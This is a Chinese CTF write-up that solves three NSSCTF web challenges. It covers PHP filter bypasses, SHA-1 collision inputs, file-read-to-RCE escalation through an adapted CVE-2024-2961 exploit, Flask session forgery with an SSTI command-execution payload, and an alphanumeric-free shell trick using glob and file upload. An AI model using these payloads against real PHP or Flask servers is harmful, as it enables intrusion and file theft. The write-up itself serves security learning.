小桃的PHP挑戰
<?php
include 'jeer.php';
highlight_file(__FILE__);
error_reporting(0);
$A = 0;
$B = 0;
$C = 0;//第一關
if (isset($_GET['one'])){$str = $_GET['str'] ?? '0';$add = substr($str, 0, 1); $add++;if (strlen($add) > 1 ) {$A = 1;} else {echo $one;
}
} else {echo $begin;
}//第二關
if (isset($_GET['two'])){$comment = $_GET['comment'] ?? 'echo(114514)';if (!preg_match('/(|;| |\$|~|\#|`|\'|\"|\*|?|<|>|\r|\n|\^)/i', $comment) && strlen($comment) < 20) {try{eval('$B = 1;'.$comment.';echo $two;die();');}catch (Error $e){echo $boom;}}
}//第三關
if (isset($_GET['three'])){if (isset($_POST['one'])&&isset($_POST['two'])){$a1=(string)$_POST['one'];$a2=(string)$_POST['two'];if ($a1 !== $a2 && sha1($a1) === sha1($a2)){$C = 1;} else {echo $three;}}
}if ($A == 1 && $B == 1 && $C == 1){echo file_get_contents($_POST['file']);
}
?>
第一關
當輸入的字符為z
, ++自增之后會發現變成了aa
, 長度就變成了2, 滿足條件
第二關
已經給$B賦值為1了, 只需要注釋掉后面的內容不讓它執行就行
php里面除了#
之外還有__HALT_COMPILER()
可以中斷掉后面代碼的運行
comment=__halt_compiler()
(這里給個phpinfo()也可以運行, 要是沒有刪除環境里面的變量說不定可以拿到, 不過這里是不行了,不知道有沒有其他的方法在這里rce)
第三關
sha1的強比較繞過, 網上可以直接找現成的
one=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&two=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
到這里就可以實現任意文件讀取了, 但是不知道為什么用hackbar, 還是burpsuite 還是yakit都無法看到文件讀取的內容(本地搭建環境是可以的), 還得是用python來進行請求
import requestssession = requests.Session()
url='http://node6.anna.nssctf.cn:28172/'one = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"
two = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"
payload = "one=" + one + "&two=" + twores=session.post(url=f'{url}+?str=z&one=1&two=2&comment=__halt_compiler()&three=3',data=payload+'&file=/etc/passwd',headers={'Content-Type':'application/x-www-form-urlencoded'})print(res.text)
但是現在不知道flag的文件名, 所以需要利用到 CVE-2024-2961
將文件讀取提升為rce
利用現成的exp, 主要修改send
和download
函數
def send(self, path: str) -> Response:"""Sends given `path` to the HTTP server. Returns the response."""one = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"two = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"payload = "one=" + one + "&two=" + twoheaders={'Content-Type':'application/x-www-form-urlencoded'}return self.session.post(url=f'{self.url}+?str=z&one=1&two=2&comment=__halt_compiler()&three=3',data=payload+f'&file={path}',headers=headers)def download(self, path: str) -> bytes:"""Returns the contents of a remote file."""path = f"php://filter/convert.base64-encode/resource={path}"response = self.send(path)data = response.re.search(b"</code>(.*)", flags=re.S).group(1)return base64.decode(data)
一直是利用失敗的狀況
參考了一下官方wp, 對path做了一個quote()
編碼發現就可以利用成功了, 可能中間會存在一些誤解析
path = quote(path)
from urllib.parse import quotedef send(self, path: str) -> Response:"""Sends given `path` to the HTTP server. Returns the response."""one = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"two = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"payload = "one=" + one + "&two=" + twoheaders={'Content-Type':'application/x-www-form-urlencoded'}path = quote(path)return self.session.post(url=f'{self.url}+?str=z&one=1&two=2&comment=__halt_compiler()&three=3',data=payload+f'&file={path}',headers=headers)def download(self, path: str) -> bytes:"""Returns the contents of a remote file."""path = f"php://filter/convert.base64-encode/resource={path}"response = self.send(path)data = response.re.search(b"</code>(.*)", flags=re.S).group(1)return base64.decode(data)
在這個路徑找到flag /1/1/4/5/1/4/flag
hack_the_world!
from flask import Flask, request, render_template,render_template_string, url_for, session
import time
import osapp = Flask(__name__)
app.secret_key = 'NSS'
FILTER_KEYWORDS = ['Ciallo~(∠?ω <)⌒★']
def contains_forbidden_keywords(complaint):for keyword in FILTER_KEYWORDS:if keyword.lower() in complaint:return Truereturn False
@app.route('/', methods=['GET', 'POST'])
def index():session['user'] = 'Gamer'return render_template('index.html')@app.route('/hack', methods=['GET', 'POST'])
def hack():if session.get('user') != 'hacker':return render_template('die.html',user=session.get('user'))if (abc:=request.headers.get('User-Agent')) is None:return render_template('fobidden.html')cmd = request.form.get('cmd','noting')if (answer:=request.args.get('answer')) == 'hack_you':if contains_forbidden_keywords(cmd):return render_template('forbidden.html')else:render_template_string(f'{cmd}',cmd=cmd)css_url = url_for('static', filename='style.css')js_url = url_for('static', filename='script.js')return render_template_string(f'''<!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"><title>fake world</title><link rel="stylesheet" href="{css_url}"><!-- No ping No curl No nc , little hacker blind no way--></head><body><canvas class="matrix"></canvas><div class="bg-animation"></div><div class="container"><h1>So, what are you trying to do</h1><p>Just quit, little hacker. There’s nothing for you here.</p></div><script src="{js_url}"></script></body></html>''', css_url=css_url,js_url=js_url)
首先需要先偽造用戶為hacker
, 源碼里也給了密鑰
先解密看看格式, 再依照格式進行偽造
eyJ1c2VyIjoiaGFja2VyIn0.Z_PTjQ.mlUJFdi9CQS-mPvH9nbj80oTJAg
源碼里面沒有給過濾的黑名單, 需要自己去fuzz一下
響應為2925的就表示是禁止的
['_' , '.' , '/', '%', 'read', 'mro']
本來想基于這個黑名單的過濾, 本地部署一下讓fenjing跑一下來著, 但是一直沒跑出來 …
https://www.nssctf.cn/note/set/12058
給了個腳本, 確實一下就跑出來了payload
import fenjing
import logginglogging.basicConfig(level=logging.INFO)def waf(s: str): # 如果字符串s可以通過waf則返回True, 否則返回Falseblacklist = ["_", "mro", "read", "/", "]", ".", "%"]return all(word not in s for word in blacklist)if __name__ == "__main__":cmd = "cat /flag > /app/static/flag.html"full_payload_gen = fenjing.FullPayloadGen(waf)shell_payload, _ = fenjing.exec_cmd_payload(waf, cmd) # 執行系統命令# config_payload = fenjing.config_payload(waf) #查看config文件# eval_payload, _ = full_payload_gen.generate(# fenjing.const.EVAL, (fenjing.const.STRING, cmd)# ) # 執行python命令print(f"{shell_payload=}")# print(f"{eval_payload=}")if not _:print("這個payload不會產生回顯")
給的payload:
%7B%7Blipsum%7Cattr%28lipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2B%27globals%27%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%29%7Cattr%28%27get%27%29%28lipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2B%27builtins%27%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%29%7Cattr%28%27get%27%29%28lipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2B%27import%27%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%29%28%27os%27%29%7Cattr%28%27popen%27%29%28%22%5Cx63%5Cx61%5Cx74%5Cx20%5Cx2f%5Cx66%5Cx6c%5Cx61%5Cx67%5Cx20%5Cx3e%5Cx20%5Cx2f%5Cx61%5Cx70%5Cx70%5Cx2f%5Cx73%5Cx74%5Cx61%5Cx74%5Cx69%5Cx63%5Cx2f%5Cx66%5Cx6c%5Cx61%5Cx67%5Cx2e%5Cx68%5Cx74%5Cx6d%5Cx6c%22%29%7Cattr%28%27r%27%27ead%27%29%28%29%7D%7D
有點奇怪的就是不知道為啥我跑出來的payload服務器一運行就會報500錯誤 (url編碼了)
你是誰的菜鳥,又是誰的佬大
F12可以看到代碼
<!--$NSS = $_GET['NSS']; if (!preg_match('/([A-Z]|;| |\$|~|\#|\(|\^)/i', $NSS)) {exec($NSS);} else {echo $Narration; -->
exec執行的命令, 且過濾了所有的字母以及一些字符
無字母webshell的打法,
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
-
shell下可以利用
.
來執行任意腳本 (類似于source
) -
Linux文件名支持用glob通配符代替
通過上傳一個文件, PHP會將我們上傳的文件保存在臨時文件夾下,默認的文件名是/tmp/phpXXXXXX
,文件名最后6個字符是隨機的大小寫字母。
自己寫一個上傳的表單, 隨便上傳一個, 然后抓包
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>upload</title>
</head>
<body>
<form action="http://node1.anna.nssctf.cn:28647/?NSS=" method="post" enctype="multipart/form-data"><label for="file">Choose file:</label><input type="file" id="file" name="file"><br><br><input type="submit" value="Upload">
</form>
</body>
</html>
改一下文件的內容就行, 多發幾次包
?NSS=.%09/???/????????[@-[]